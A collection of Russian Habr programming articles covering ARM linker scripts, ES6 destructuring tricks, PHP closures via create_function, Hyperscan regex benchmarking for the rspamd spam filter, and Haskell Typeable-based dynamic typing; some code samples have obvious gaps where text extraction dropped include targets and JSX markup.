Здесь секция .text помещается по адресу 0x0, а секция .data по адресу 0x400. Если счётчику расположений не присвоены значения, то секции будут помещены в соседних областях памяти.
#### Пример скрипта компоновщика
Для демонстрации использования скриптов компоновщика, применим наш последний скрипт для управления расположением программных секций .text и .data. Для этой мы модифицируем версию программы для вычисления суммы элементов массива.
`.data`
`arr: .byte 10, 20, 25`
`eoa:`
`.text`
`start:`
`ldr r0, =eoa @ r0 = &eoa`
`ldr r1, =arr @ r1 = &arr`
`mov r3, #0 @ r3 = 0`
`loop:`
`ldrb r2, [r1], #1 @ r2 = *r1++`
`add r3, r2, r3 @ r3 += r2`
`cmp r1, r0 @ if (r1 != r2)`
`bne loop @ goto loop`
`stop: b stop`
Как видно, теперь массив расположен в секции .data. Инструкция для перепрыгивания через данные теперь не нужна, т. к. скрипт корректно размещает секции.
Когда программа компонуется, скрипт передаётся в качестве входных данных компоновщику:
*$ arm-none-linux-gnueabi-as -o sum-data.o sum-data.s
$ arm-none-linux-gnueabi-ld -T sum-data.lds -o sum-data.elf sum-data.o*
Параметр «-T sum-data.lds» указывает в качестве скрипта компоновщика файл sum-data.lds. Размещение секций в памяти, как обычно, можно проследить по таблице символов:
*$ arm-none-linux-gnueabi-nm -n sum-data.elf
00000000 t start
0000000c t loop
0000001c t stop
00000400 d arr
00000403 d eoa*
Как видно, секция .text размещается с адреса 0x0, а секция .data с 0x400.
Так как это мой первый пост, то не хотелось бы сильно грузить и делать его огромным. Поэтому на данном этапе закончу. Если будет интересно и будут просьбы, то продолжу эту статью новой, в которой затрону такие вопросы как
* более подробное рассмотрение директив ассемблера (естественно, полезных)
* работа с оперативной памятью
* обработка прерываний
* запуск кода, написанного на языке более высокого уровня на процессоре ARM | https://habr.com/ru/post/188712/ | null | ru | null |
# Глупые трюки с ES6
*Это перевод [статейки](https://engineering.haus.com/dumb-es6-tricks-53ecadd1b29f) о некоторых не совсем очевидных прикольных возможностях, которые предоставляет ES6 стандарт JavaScript'а. В статье время от времени проходит нечто наркоманское, так что вполне возможно я не смог перевести всё достаточно качественно. Если нашли косяки, напишите мне об этом — поправлю.*
{в оригинале здесь была [какая-то непонятная гифка с обезьяной](https://cdn-images-1.medium.com/max/800/1*vIA5px45AXToYpLWemiHBw.gif), которую я как-то не очень понял, оттого и не буду её здесь ставить}
Вот вам несколько методов на основе ES6, которые на самом деле не совсем трюки — просто, используя некоторые вещи из нового синтаксиса, мы можем неплохо сократить код, улучшить его читаемость, или, возможно, просто весело провести время. Я (автор оригинала, не автор этой статьи на хабре — прим. пер.) планирую собирать больше в этой статье, поэтому, пожалуйста, не стесняйтесь добавлять её в закладки и проверять время от времени. Ну и если у вас тоже есть какие-то забавные трюки, которые я не упоминаю здесь, пожалуйста, напишите об этом!
Деструктуризация
----------------
Деструктуризация — моя самая любимая часть синтаксиса ES6. Теперь она есть и в Node 6, так что это дело можно использовать и на фронтенде, и на серверной стороне. Для больших подробностей можно почитать разъяснение этого дела [на сайте Mozilla](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) (там тоже на русском, кстати), если вы не знаете основу, а для тех, кто МБ/НЧ — это возможность легко назначать определённым переменным какие-то значения во вложенных объектах.
Парочка простых примеров:
```
// можно деструктурировать массивы
const [a, b] = [1,2]; // a = 1, b = 2
// можно деструктурировать ключи в объектах
const { a } = { a: 3 }; // a = 3
// даже параметры функций
function foo({ a }) {
console.log(a);
}
foo({ a: 4 }); // выведет 4
```
Переименование
--------------
Одна из фишек деструктуризации, о которой вы, возможно, не знаете — это возможность переименования по ходу дела. Если вы использовали ES6 модули, вы можете знать, как работает оператор импорта при переименовании импортированных объектов и, возможно, задавались вопросом, почему так не получается делать при деструктуризации. Ну, там на самом деле просто чуток другой синтаксис:
```
// простое переименование для избежания коллизий или просто для красоты.
const first = 5;
const { first: second } = { first: 3 };
console.log(second); // выведет 3
// переименовать для другого API с использованием расширенного использования присваивания
function verifyUser({ userId: id }) {
return User.update({ id, verified: true });
}
```
В сочетании с параметрами по умолчанию
--------------------------------------
Параметры по умолчанию позволяют вам указывать значения параметрам, которые не были переданы пользователем, но что если вы собирались деструктуризовать их, когда они приходят? Не проблема… У нас есть левая сторона присваивания (a.k.a. [lvalue](https://msdn.microsoft.com/en-us/library/f90831hc.aspx)) с параметрами по умолчанию, так что вы можете использовать деструктуризацию и здесь!
```
function defaults({ a, b } = { a: 1, b: 2 }) {
console.log('a', a);
console.log('b', b);
}
defaults();
// a 1
// b 2
defaults({ a: 42, b: 32 });
// a 42
// b 32
// Будьте осторожны с множественными параметрами!
// Вся правая сторона будет заменена вашими аргументами.
defaults({ a: 87 });
// a 87
// b undefined
```
У самой деструктуризации также есть параметры по умолчанию, так что мы можем смешать оба варианта!
```
function defaults({ a = 1, b = 2 } = {}) {
console.log('a', a);
console.log('b', b);
}
defaults();
// a 1
// b 2
defaults({ a: 42, b: 32 });
// a 42
// b 32
// множественные параметры? Нет проблем, просто укажите то, что вы хотите изменить
defaults({ a: 87 });
// a 87
// b 2
```
Присваивания, ветвления и листья
--------------------------------
Вы даже можете деструктурировать глубокий объект или массив! Но промежуточные ключи объектов не будут присвоены в это время. Что делать, если вы хотите присвоить какие-то промежуточные ключи и какой-то глубокий узел? Просто спросите о нём! Другими словами, как мы покажем в нижеидущем примере, вы можете просто объявить любую переменную, которую хотите (промежуточное соединение в данном случае) и использовать её снова как спецификацию для перехода на другой уровень (промежуточный -> вложенный) (*вот же-ж наркомания*… — прим. пер.).
```
const {
topLevel: {
intermediate, // объявление промежуточной
intermediate: {
nested // объявление вложенной
}
}
} = {
topLevel: {
intermediate: {
nested: 56
}
}
};
// intermediate is { nested: 56 }
// nested is 56
```
Идиоматические аргументы командной строки для Node
--------------------------------------------------
Node.js прекрасная вещь для написания скриптов. Для аргументов командной строки вы можете извлечь их из `process.argv`. Если вы делаете что-то сложное, или действительно нечто предназначение для использования людьми, лучше будет заюзать что-нибудь вроде [yargs](https://www.npmjs.com/package/yargs) для их парсинга. Но… если у вас есть скрипт, который просто берёт небольшое количество аргументов, вы можете использовать деструктуризацию массива для того чтобы пропустить первые два аргумента (обычно путь к Node.js и путь к скрипту) и присвоить остальные переменным.
```
#!/usr/bin/env node
// пропустить первые два аргумента, которые являются node.js и этим скриптом
const [,,filepath] = process.argv;
doSomethingFSLike(filepath);
```
Расширенные литералы объектов
-----------------------------
Обновления в синтаксисе литерала объекта реально классные, и мы сейчас заюзаем некоторые вышеприведённые примеры с использованием "коротких названий значений". Первая техника — это даже больше не трюк, а возможность избежать связывания, если вы в нём не нуждаетесь. Скажем, вы хотите видеть переменную или функцию извне, но также хотите использовать её внутри функций, которые вы экспортируете как вспомогательный объект. Техника объявления её вне возвращаемого объекта и вкладывание её ниже позволяет вам избежать связывания.
```
const moment = require('moment');
const PERIOD = moment.duration(3, 'days');
module.exports = {
PERIOD,
isWithinPeriod(test) {
return moment().add(PERIOD).isAfter(test);
},
};
/// В то же время, в нашем файле теста...
const timeUtils = require('./time-utils');
describe('timeUtils.isWithinPeriod', () => {
it('ложно за пределами его собственного временного периода', () => {
const beyondPeriod = moment().add(timeUtils.PERIOD).add(timeUtils.PERIOD);
assert(timeUtils.isWithinPeriod(beyondPeriod) === false);
});
});
```
Вместе с JSX
------------
Окей, это не ES6 конечно, но вы можете использовать некоторые фичи ES6 вроде короткого значения свойства очень удобным образом вместе с JSX.
```
function WhySoManyProps(props) {
const user = extractUser(props);
const fudge = calculateFudge();
const bits = computeBits();
// Это тааак избыточно.
return ;
}
function Shorthand(props) {
const user = extractUser(props);
const fudge = calculateFudge();
const bits = computeBits();
// отправим все новые переменные, которые имеют такое же имя, как и свойства
return ;
}
```
*Правда, такой подход [не очень рекомендуют](https://facebook.github.io/react/docs/jsx-in-depth.html#spread-attributes) использовать в официальной документации к React.js — прим. переводчика.*
Object.assign
-------------
Object.assign — это фантастическое новое дополнение, которое очень помогает сохранять вещи иммутабельными (или, по крайней мере, делать только эфемерные мутации к промежуточным объектам). Но знаете ли вы, что их можно устанавливать и для значений массивов в том числе?
```
const original = [0,1,2,3];
const copy = Object.assign([], original, { 2: 42 }); // [0,1,42,3]
console.log(original);
// [ 0, 1, 2, 3 ]
console.log(copy);
// [ 0, 1, 42, 3 ]
```
Ваши предложения?
-----------------
Есть какие-то другие трюки, которые вам нравятся, и которые отсутствуют в данной статье? Поделитесь ими в комментариях! | https://habr.com/ru/post/313814/ | null | ru | null |
# PHP closures и передача аргументов по ссылке
Ради интереса я решил сделать механизм замыканий (closures) на PHP. Я знаю, что в PHP 5.3 такой механизм есть, поэтому подчёркиваю — чисто из академического интереса. И моя любознательность дала (по крайней мере, для меня — кто-то с этим уже мог иметь дело) свои плоды — помимо собственно замыканий я получил интересный метод передачи аргументов.
Механизм замыканий состоит из вот такого класса:
> `1. class closure
> 2. {
> 3. private static $l\_closures = array();
> 4.
> 5. public static function create($\_scope, $\_args, $\_code)
> 6. {
> 7. $id = md5("closure::create>".serialize($\_scope).$\_args.$\_code);
> 8. if(isset(self::$l\_closures[$id]))
> 9. {
> 10. print "exists
> ";
> 11. return self::$l\_closures[$id]["function"];
> 12. }
> 13. print "create new
> ";
> 14. $header\_code = '$scope=closure::scope("'.$id.'");';
> 15. $header\_end = 'unset($scope);';
> 16. if($\_scope)
> 17. {
> 18. foreach($\_scope as $key => $value)
> 19. {
> 20. if($key == 'scope')
> 21. {
> 22. $header\_end = '$'.$key.'=&$scope["'.$key.'"];';
> 23. }
> 24. else
> 25. {
> 26. $header\_code .= '$'.$key.'=&$scope["'.$key.'"];';
> 27. }
> 28. }
> 29. }
> 30. $header\_code .= $header\_end;
> 31. $closure = array(
> 32. "function" => create\_function($\_args, $header\_code.$\_code),
> 33. "scope" => is\_array($\_scope) ? $\_scope : array()
> 34. );
> 35. self::$l\_closures[$id] = $closure;
> 36. return $closure["function"];
> 37. }
> 38.
> 39. public static function bind($\_scope, $\_function)
> 40. {
> 41. $id = md5("closure::bind>".serialize($\_scope).$\_function);
> 42. if(isset(self::$l\_closures[$id]))
> 43. {
> 44. print "exists
> ";
> 45. return self::$l\_closures[$id]["function"];
> 46. }
> 47. print "create new
> ";
> 48. $closure = array(
> 49. "function" => create\_function('', '$scope=closure::scope("'.$id.'");$debug=debug\_backtrace();$args=$debug[0]["args"];call\_user\_func\_array("'.$\_function.'", array\_merge($scope,$args));'),
> 50. "scope" => is\_array($\_scope) ? $\_scope : array()
> 51. );
> 52. self::$l\_closures[$id] = $closure;
> 53. return $closure["function"];
> 54. }
> 55.
> 56. public static function scope($\_id)
> 57. {
> 58. if(isset(self::$l\_closures[$\_id]))
> 59. {
> 60. return self::$l\_closures[$\_id]["scope"];
> 61. }
> 62. return array();
> 63. }
> 64. }
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/77282/ | null | ru | null |
# Поиск множества регулярных выражений при помощи библиотеки Hyperscan
В данной статье я бы хотел рассказать о собственном опыте оптимизации выполнения множества регулярных выражений при помощи системы [hyperscan](https://github.com/01org/hyperscan). Так вышло, что при разработке своего спам-фильтра [rspamd](https://rspamd.com) я столкнулся с необходимостью портировать большой объем старых правил, написанных для spamassassin за несколько лет работы. Моим первым решением было написать [плагин](https://rspamd.com/doc/modules/spamassassin.html), который бы читал эти правила и строил из них синтаксическое дерево. Затем на этом дереве выполнялись различные оптимизации, чтобы сократить общее время выполнения (об этом я даже делал небольшую [презентацию](https://highsecure.ru/ast-rspamd.pdf)).
К сожалению, в ходе эксплуатации выяснилось, что pcre все равно являются узким местом, и на больших письмах этот набор правил работает слишком медленно. Выяснилось, например, что на письме размером в мегабайт pcre проверяет около гигабайта (!) текста. Различные трюки, вроде ограничения количества текста для регулярных выражений, оказывали негативное влияние на срабатывания правил, а оптимизации pcre путем интенсивного использования jit fast path через **pcre\_jit\_exec** оказались слишком опасными — некоторые старые выражения были откровенно некорректными и в сочетании с некорректным входным текстом, например, содержащим «битые» UTF8 символы, приводили к воспроизводимым багам с повреждением стека программы. Однако на конференции [highload](http://highload.ru) мы поговорили со Вячеславом Ольховченковым, и он мне посоветовал посмотреть на hyperscan. Далее я перейду к сути и расскажу, что из этого получилось.
Кратко о hyperscan
------------------
Hyperscan — это проект с достаточно длинной историей, и создавался он для продажи deep packets introspection (DPI) решений. Но в октябре уже прошлого года Intel решил открыть его исходный код, да еще и под BSD лицензией. Проект написан на C++ с достаточно интенсивным использованием boost'а, что вызывает определенные проблемы при портировании (но об этом далее). Внутри себя hyperscan представляет из себя non-backtracking движок регулярных выражений на базе недетерминированного конечного автомата (NFA). В принципе, все современнные движки регулярных выражений, ориентированных на производительность, написаны, используя ту же самую теорию и отказываясь от backtracking полностью (что, конечно же, вполне рационально, если хочется обеспечить линейную скорость поиска). Самой важной для меня «фишкой» hyperscan'а была возможность **одновременного** выполнения многих регулярных выражений над каким-то текстом. Наивный подход сделать то же самое в pcre — это попробовать объединить несколько выражений оператором *|* в этакую «колбасу»:
```
(?:re1)|(?:re2)|...|(?:reN)
```
. К сожалению, такой подход не сработает — ведь задача найти **все** вхождения из заданного набора выражений, а не только те, что сработали раньше. Hyperscan работает же не так — для каждого найденного выражения он вызывает callback функцию с позицией в тексте (правда, только последнего символа вхождения), что можно продемонстрировать на следующей схеме:
Архитектура hyperscan
---------------------
Hyperscan состоит из двух частей: компилятора и, собственно, движка. Компилятор — это очень большая часть библиотеки, которая умеет взять пачку выражений, составить для нее NFA и преобразовать этот NFA в ассемблерный код с использованием, например, векторных инструкций, в частности, AVX2. Эта задача трудная и ресурсозатратная, поэтому компилятор также позволяет сериализовать полученный код для его последующего использования. Движок поиска — это более маленькая библиотека, и она, собственно, предназначена для выполнения NFA на определенном тексте. Для приложений, которые используют только прекомпилированные наборы выражений, можно использовать отдельную библиотеку *libhs\_runtime*, которая намного меньше объединенной библиотеки compiler+engine *libhs*. Для начала я попробовал собрать hyperscan, что оказалось довольно несложной задачей, если для системы есть достаточно свежий boost (минимальная версия 1.57). Единственным замечанием, пожалуй, является то, что при сборке с отладочными символами библиотека получается просто гигантской — около 200Mb на моем макбуке. А так как по умолчанию собирается только статическая библиотека, то при подключении ее размер бинарников также получается в районе 200Mb. Если отладочные символы не нужны, то лучше собирать hyperscan без них, указав
```
-DCMAKE_BUILD_TYPE=MinSizeRel
```
на этапе конфигурации через cmake.
Тестовый код
------------
Затем я попробовал сравнить hyperscan и pcre, написав очень грубый прототип, который вы можете посмотреть под спойлером (предупреждаю — это код прототипа, который написан впопыхах без особых претензий к качеству).
**Код сравнения pcre и hyperscan**
```
#include
#include
#include
#include
#include
#include
#include
#include "pcre.h"
#include "hs.h"
#include
#ifdef \_\_APPLE\_\_
#include
#endif
using namespace std;
double
get\_ticks(void)
{
double res;
#if defined(\_\_APPLE\_\_)
res = mach\_absolute\_time() / 1000000000.;
#else
struct timespec ts;
clock\_gettime(CLOCK\_MONOTONIC, &ts);
res = (double)ts.tv\_sec + ts.tv\_nsec / 1000000000.;
#endif
return res;
}
struct pcre\_regexp {
pcre\* re;
pcre\_extra\* extra;
pcre\_regexp(const string& pattern)
{
const char\* err;
int err\_off;
re = pcre\_compile(pattern.c\_str(), PCRE\_NEWLINE\_ANYCRLF, &err, &err\_off, NULL);
if (re == NULL) {
throw invalid\_argument(string("cannot compile: '") + pattern + "' error: " + err + " at offset: " + to\_string(err\_off));
}
extra = pcre\_study(re, PCRE\_STUDY\_JIT\_COMPILE, &err);
if (extra == NULL) {
throw invalid\_argument(string("cannot study: '") + pattern + "' error: " + err + " at offset: " + to\_string(err\_off));
}
}
};
struct cb\_context {
set approx\_re;
vector pcre\_vec;
};
struct cb\_data {
struct cb\_context\* ctx;
vector matched;
const std::string\* str;
};
bool remove\_uncompileable(const string& s, int id, struct cb\_context\* ctx)
{
hs\_compile\_error\_t\* hs\_errors;
hs\_database\_t\* hs\_db;
if (hs\_compile(s.c\_str(), HS\_FLAG\_ALLOWEMPTY, HS\_MODE\_BLOCK, NULL, &hs\_db, &hs\_errors) != HS\_SUCCESS) {
cout << "pattern: '" << s << "', error: " << hs\_errors->message << endl;
if (hs\_compile(s.c\_str(), HS\_FLAG\_ALLOWEMPTY | HS\_FLAG\_PREFILTER, HS\_MODE\_BLOCK, NULL, &hs\_db, &hs\_errors) != HS\_SUCCESS) {
cout << "completely bad pattern: '" << s << "', error: " << hs\_errors->message << endl;
return true;
} else {
ctx->approx\_re.insert(id);
}
} else {
hs\_free\_database(hs\_db);
}
return false;
}
int match\_cb(unsigned int id, unsigned long long from, unsigned long long to, unsigned int flags, void\* context)
{
auto cbdata = (struct cb\_data\*)context;
auto& matched = cbdata->matched;
if (cbdata->ctx->approx\_re.find(id) != cbdata->ctx->approx\_re.end()) {
int ovec[3];
auto re = cbdata->ctx->pcre\_vec[id];
auto\* begin = cbdata->str->data();
auto\* p = begin;
auto sz = cbdata->str->size();
while (pcre\_exec(re.re, re.extra, p, sz - (p - begin), 0, 0, ovec, 3) > 0) {
p = p + ovec[1];
matched[id]++;
}
} else {
matched[id]++;
}
return 0;
}
int main(int argc, char\*\* argv)
{
ifstream refile(argv[1]);
vector re\_vec;
double t1, t2, total\_ticks = 0;
struct cb\_context ctx;
int ls;
pcre\_config(PCRE\_CONFIG\_LINK\_SIZE, &ls);
cout << ls << endl;
for (std::string line; std::getline(refile, line);) {
re\_vec.push\_back(line);
}
string re\_pipe;
const char\*\* pats = new const char\*[re\_vec.size()];
unsigned int i = 0, \*ids = new unsigned int[re\_vec.size()];
//re\_vec.erase(remove\_if(re\_vec.begin(), re\_vec.end(), remove\_uncompileable), re\_vec.end());
for (i = 0; i < re\_vec.size(); i++) {
const auto& r = re\_vec[i];
remove\_uncompileable(r, i, &ctx);
pats[i] = r.c\_str();
ids[i] = i;
re\_pipe = re\_pipe + string("(") + r + string(")|");
}
// Last |
re\_pipe.erase(re\_pipe.size() - 1);
total\_ticks = 0;
for (const auto& r : re\_vec) {
t1 = get\_ticks();
ctx.pcre\_vec.emplace\_back(r);
t2 = get\_ticks();
total\_ticks += t2 - t1;
}
cout << "PCRE compile time: " << total\_ticks << endl;
ifstream input(argv[2]);
std::string in\_str((std::istreambuf\_iterator(input)),
std::istreambuf\_iterator());
hs\_compile\_error\_t\* hs\_errors;
hs\_database\_t\* hs\_db;
hs\_platform\_info\_t plt;
hs\_populate\_platform(&plt);
unsigned int\* flags = new unsigned int[re\_vec.size()];
for (i = 0; i < re\_vec.size(); i++) {
if (ctx.approx\_re.find(i) != ctx.approx\_re.end()) {
flags[i] = HS\_FLAG\_PREFILTER;
} else {
flags[i] = 0;
}
}
t1 = get\_ticks();
if (hs\_compile\_multi(pats, flags, ids, re\_vec.size(), HS\_MODE\_BLOCK, &plt, &hs\_db, &hs\_errors) != HS\_SUCCESS) {
cout << "BAD pattern: '" << re\_vec[hs\_errors->expression] << "', error: " << hs\_errors->message << endl;
return -101;
}
t2 = get\_ticks();
cout << "Hyperscan compile time: " << (t2 - t1) << "; approx re: "
<< ctx.approx\_re.size() << "; total re: " << re\_vec.size() << endl;
char\* bytes = NULL;
size\_t bytes\_len;
t1 = get\_ticks();
if (hs\_serialize\_database(hs\_db, &bytes, &bytes\_len) != HS\_SUCCESS) {
cout << "BAD" << endl;
return -101;
}
t2 = get\_ticks();
cout << "Hyperscan serialize time: " << (t2 - t1) << "; size: " << bytes\_len << " bytes" << endl;
hs\_database\_t\* hs\_db1 = NULL;
t1 = get\_ticks();
if (hs\_deserialize\_database(bytes, bytes\_len, &hs\_db1) != HS\_SUCCESS) {
cout << "BAD1" << endl;
return -101;
}
t2 = get\_ticks();
cout << "Hyperscan deserialize time: " << (t2 - t1) << "; size: " << bytes\_len << " bytes" << endl;
auto matches = 0;
total\_ticks = 0;
for (const auto& re : ctx.pcre\_vec) {
int ovec[3];
auto\* begin = in\_str.data();
auto\* p = begin;
auto sz = in\_str.size();
t1 = get\_ticks();
while (pcre\_exec(re.re, re.extra, p, sz - (p - begin), 0, 0, ovec, 3) > 0) {
p = p + ovec[1];
matches++;
}
t2 = get\_ticks();
total\_ticks += t2 - t1;
}
//cout << re\_pipe << endl;
cout << "Time for individual re: " << total\_ticks << "; matches: " << matches << endl;
//cout << "Time for piped re: " << (t2 - t1) << endl;
hs\_scratch\_t\* scratch = NULL;
int rc;
if ((rc = hs\_alloc\_scratch(hs\_db1, &scratch)) != HS\_SUCCESS) {
cout << "bad scratch: " << rc << endl;
return -102;
}
struct cb\_data cbdata;
cbdata.ctx = &ctx
cbdata.matched = vector(re\_vec.size(), 0);
cbdata.str = ∈\_str;
t1 = get\_ticks();
if ((rc = hs\_scan(hs\_db1, in\_str.data(), in\_str.size(), 0, scratch,
match\_cb, &cbdata))
!= HS\_SUCCESS) {
cout << "bad scan: " << rc << endl;
return -103;
}
t2 = get\_ticks();
matches = 0;
for\_each(cbdata.matched.begin(), cbdata.matched.end(), [&matches](int elt) { matches += elt; });
cout << "Time for hyperscan re: " << (t2 - t1) << "; matches: " << matches << endl;
return 0;
}
```
Результат оказался довольно-таки впечатляющим: на мегабайтном спамерском письме и наборе из ~1000 регулярных выражений я получил следующие результаты:
```
PCRE compile time: 0.0138553
Hyperscan compile time: 4.94309; approx re: 191; total re: 971
Hyperscan serialize time: 0.00312218; size: 5242956 bytes
Hyperscan deserialize time: 0.00359501; size: 5242956 bytes
Time for individual re: 0.440707; matches: 7
Time for hyperscan re: 0.0770988; matches: 7
```
Предварительный фильтр
----------------------
Одной из самых впечатляющих возможностей hyperscan является возможность работы в качестве предварительного фильтра. Этот режим полезен, когда в выражении есть неподдерживаемые конструкции, например, тот же backtracking. В данном режиме hyperscan создает выражение, являющееся **гарантированным** надмножеством заданного неподдерживаемого выражения. То есть, новое выражение срабатывает гарантированно на всех случаях срабатыванния исходного, но может срабатывать и в других случаях, давая false positive срабатывания. Поэтому результат нужно проверять на традиционном движке регулярных выражений, например, pcre (хотя в этом случае не надо прогонять весь текст, а нужно проверить его от начала до точки вхождения предвыражения). Наглядно это представлено на следующей схеме:
Проблемы компиляции
-------------------
К сожалению, выяснились и два неприятных момента. Первый из них заключается во времени компиляции — она занимает просто нереально долгое время в сравнении с pcre. Второй момент связан с тем, что некоторые выражения в ходе компиляции их в pre-filter просто зависают. Самым простым «крышесносным» выражением было, например, такое:
```
]{0,2048}\bhref=(?:3D)?.?(https?:[^>"'\# ]{8,29}[^>"'\#:\/?&=])[^>]{0,2048}>(?:[^<]{0,1024}<(?!\/a)[^>]{1,1024}>){0,99}\s{0,10}(?!\1)https?[^\w<]{1,3}[^<]{5}
```
В итоге я сделал, что перед компиляцией выражений все pre-filter выражения вначале проверяются в отдельном форке процесса. И если выражение компилируется слишком долго, то этот процесс прибивается, а выражение помечается как безнадежное, то есть, для него всегда используется pcre. Таких выражений из 4-х тысяч нашлось около десятка. Все они пришли из горячо любимого мной spamassassin'а и являются достаточно характерными продуктами болезни под названием «perl головного мозга». После некоторого общения с инженерами Intel они исправили бесконечную компиляцию, но приведенный выше regexp все равно компилируется порядка минуты, что неприемлимо для практических целей.
Для работы hyperscan также оказалось нужным разбивать наборы выражений на так называемые «классы» — это тип входного текста, который проверяется через регулярные выражения из набора, например, заголовок письма с определенным именем или полное тело письма, или только текстовые части. Такие классы показаны на следующей схеме:
Для компиляции же я использовал следующий подход:
* В отдельном процессе запустить проверку классов выражений, и для каждого класса искать, нет ли уже скомпилированного и валидного файла для него.
* Если такого файла нет или же он содержит неверный набор выражений (проверяется по хешу от паттерна выражения), то скомпилировать его, проверяя время компиляции предварительных фильтров.
* Когда все выражения скомпилированы в кеше, то послать всем процессам сканерам сообщение, получив которое сканеры загружают кешированные выражения и переключаются с pcre на hyperscan.
Такой подход позволил начать проверять почту сразу же после старта (при помощи pcre), а не ждать дорогой и долгой компиляции hyperscan'а, а по завершению компиляции сразу же перейти с pcre на hyperscan (что называется, не отходя от кассы). А использование наборов бит для проверенных и сработавших регулярных выражений позволяет также не нарушать при переключении работы уже запущенных в проверку писем.
Выводы
------
В ходе работы rspamd+hyperscan я получил примерно такие результаты:
Было:
```
len: 610591, time: 2492.457ms real, 882.251ms virtual
regexp statistics: 4095 pcre regexps scanned, 18 regexps matched, 694M bytes scanned using pcre
```
Стало:
```
len: 610591, time: 654.596ms real, 309.785ms virtual
regexp statistics: 34 pcre regexps scanned, 41 regexps matched, 8.41M bytes scanned using pcre,
9.56M bytes scanned total
```
Большее число regexps matched в версии hyperscan вызвано оптимизациями синтаксического дерева, которые выполняются для pcre, но бесполезны в случае hyperscan (т.к. проверяются все выражения одновременно).
Hyperscan версия уже работает в продакшене, и включена в [новую версию rspamd](https://rspamd.com/announce/2016/01/18/rspamd-1.1.0.html). Я могу достаточно уверенно посоветовать hyperscan для критичных к производительности проектов для проверки регулярных выражений (DPI, прокси итд), а также для применений для поиска статических строк в тексте.
Для последней задачи я делал сравнение hyperscan с традиционно используемым для таких целей алгоритмом [aho-corasick](https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm). Я сравнивал самую быструю известную мне [имплементацию](https://github.com/mischasan/aho-corasick) от Mischa Sandberg.
Результаты сравнения для 10 тысяч статических строк на мегабайтном письме c большим количеством таких строк (то есть, худшие возможные условия для aho-corasic, имеющего сложность O(M+N), где M — число найденных строк):
```
actrie compile time: 0.0743811
Hyperscan compile time: 0.1547; approx re: 0; total re: 7400
Hyperscan serialize time: 0.000178297; size: 1250856 bytes
Hyperscan deserialize time: 0.000312379; size: 1250856 bytes
Time for hyperscan re: 0.117938; matches: 3001024
Time for actrie: 0.100427; matches: 3000144
```
К сожалению, также выяснилось, что количество попаданий не сошлось из-за ошибки в ac-trie коде, в то время как hyperscan не ошибся ни разу.
Также материалы этой статьи доступны в [презентации](https://highsecure.ru/rspamd-hyperscan.pdf). Код же можно посмотреть в проекте rspamd [на гитхабе](https://github.com/vstakhov/rspamd/blob/master/src/libserver/re_cache.c) | https://habr.com/ru/post/275507/ | null | ru | null |
# Статически безопасная динамическая типизация à la Python
Привет, Хабр.
На днях в одном моём хобби-проекте возникла задача написания хранилища метрик.
Задача сама по себе решается очень просто, но моя проблема с хаскелем (особенно в проектах для собственного развлечения) в том, что невозможно просто взять и решить задачу. Необходимо решить, расширить, абстрагировать, абстрагировать и потом ещё расширить. Поэтому захотелось сделать хранилище метрик расширяемым, чтобы не указывать заранее, какие они там будут. Само по себе это тема для отдельной статьи, а сегодня мы рассмотрим один маленький ингредиент: написание типобезопасной обёртки для неизвестных заранее типов. Что-то вроде динамической типизации, но со статическими гарантиями, что мы не сделаем ерунды.
Статья, думаю, не откроет ничего нового для бывалых хаскелистов, но сейчас мы хотя бы этот самый ингредиент сразу вынесем за скобки и не будем на него отвлекаться в последующих статьях. Ну или можно быть не таким скромным и сказать, что я аж придумал целый паттерн проектирования.
Итак, сначала сформулируем задачу. Нам нужно уметь ассоциировать какие-то объекты со значениями заранее неизвестных типов. Или, иными словами, нужно, чтобы значения заранее неизвестных типов выступали в роли ключей в какой-нибудь мапе.
Естественно, мы не безумцы и не будем требовать поддержки значений совсем прям любых типов. Мы потребуем, чтобы тип (пусть даже и неизвестный) поддерживал сравнение в смысле упорядочивания. В терминах хаскеля это означает, что мы поддерживаем такие типы `a`, которые реализуют тайпкласс `Ord a`.
Заметим, что мы могли бы потребовать поддержку взятия хеша и проверки на равенство, но по ряду причин ограничиться сравнением будет удобнее и нагляднее.
Когда речь заходит о хранении значений, про которые известно, что они реализуют некоторый тайпкласс, в хаскеле обычно используются экзистенциальные типы:
```
data SomeOrd where
MkSomeOrd :: Ord a => a -> SomeOrd
```
Так, если нам дан объект типа `SomeOrd` и мы сделали по нему паттерн-матчинг:
```
foo :: SomeOrd -> Bar
foo (MkSomeOrd val) = ... (1) ...
```
то в точке `(1)` мы не знаем, какой именно тип имеет `val`, но мы знаем (и, что самое главное, тайпчекер тоже знает), что `val` реализует тайпкласс `Ord`.
Однако если функции тайпкласса подразумевают два (и более) аргумента, то пользы с такой записи мало:
```
tryCompare :: SomeOrd -> SomeOrd -> Bool
tryCompare (MkSomeOrd val1) (MkSomeOrd val2) = ?
```
Для применения методов `Ord` необходимо, чтобы и `val`, и `val2` имели один и тот же тип, но ведь это совершенно не обязано выполняться! Получается, наш `SomeOrd` бесполезен. Что же делать?
Несмотря на то, что хаскель — компилируемый язык с агрессивным стиранием типов (после компиляции их в целом нет), компилятор всё равно может генерировать рантайм-представителей типов, если его об этом попросить. В роли рантайм-представителя типа `a` выступает значение типа `TypeRep a`, а за ~~просьбу~~ генерацию отвечает тайпкласс `Typeable`.
**Кстати**Кстати, `a` не обязано быть типом в привычном смысле, то есть, принадлежать сорту `*`. Оно может быть любого другого сорта `k`, что теоретически позволяет делать какие-нибудь прикольные вещи с хранением рантайм-представителей запромоученных типов и тому подобной ерунды, но я пока не придумал, что именно.
Кроме того, если у нас есть два разных экземпляра `rep1 :: TypeRep a, rep2 :: TypeRep b`, то мы можем их сравнить и проверить, представляют ли они один и тот же тип или нет. При этом если они на самом деле представляют один и тот же тип, то, очевидно, `a` совпадает с `b`. И, что самое главное, функция проверки представлений типов на равенство возвращает результат, способный убедить в этом тайпчекер:
```
eqTypeRep :: forall k1 k2 (a :: k1) (b :: k2). TypeRep a -> TypeRep b -> Maybe (a :~~: b)
```
Что за ерунда здесь понаписана?
Во-первых, `eqTypeRep` — функция.
Во-вторых, она полиморфна, но не только по типам, но и по сортам этих типов. На это указывает часть `forall k1 k2 (a :: k1) (b :: k2)` — это значит, что `a` и `b` могут быть не только обычными типами вроде `Int` или `[String]`, но и, например, запромоученными конструкторами (см. DataKinds и прочие потуги сделать хаскель завтипизированным). Но нам это всё не нужно.
В-третьих, она принимает два рантайм-представления потенциально разных типов, `TypeRep a` и `TypeRep b`.
